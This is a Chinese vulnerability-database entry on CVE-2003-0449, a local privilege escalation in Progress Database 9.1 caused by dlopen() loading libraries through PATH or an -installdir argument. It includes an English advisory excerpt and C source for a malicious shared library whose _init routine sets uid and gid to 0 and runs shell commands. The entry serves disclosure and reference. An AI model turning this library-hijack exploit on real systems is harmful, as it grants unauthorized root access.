Progress Database获取特权漏洞

Progress Database获取特权漏洞

漏洞ID 1107377 漏洞类型 未知
发布时间 2003-06-14 更新时间 2003-08-07
图片[1]-Progress Database获取特权漏洞-安全小百科CVE编号 CVE-2003-0449
图片[2]-Progress Database获取特权漏洞-安全小百科CNNVD-ID CNNVD-200308-028
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/22773
https://www.securityfocus.com/bid/87455
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200308-028
|漏洞详情
ProgressDatabase9.1至9.1D06版本相信用户输入端使用dlopen查找和加载库,本地用户借助(1)指向恶意库的PATH环境变量,如使用libjutil.soin_proapsv,或者(2)-installdir命令行参数,如使用librocket_r.soin_dbagent.获取特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/7916/info

It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.

Any library code loaded will execute with elevated privileges. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClosen");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loadedn");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}
|受影响的产品
Progress Database 9.1
|参考资料

来源:www.secnetops.com
链接:http://www.secnetops.com/research/advisories/SRT2003-06-13-1009.txt
来源:www.secnetops.com
链接:http://www.secnetops.com/research/advisories/SRT2003-06-13-0945.txt
来源:BUGTRAQ
名称:20030614SRT2003-06-13-1009-Progress_dbagent-installdirdlopen()issue
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105561189625082&w;=2
来源:BUGTRAQ
名称:20030614SRT2003-06-13-0945-ProgressPATHbaseddlopen()issue
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105561134624665&w;=2

相关推荐: RealPlayer Long File Name Now Playing Buffer Overflow Vulnerability

RealPlayer Long File Name Now Playing Buffer Overflow Vulnerability 漏洞ID 1101241 漏洞类型 Boundary Condition Error 发布时间 2002-11-22 更新时…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享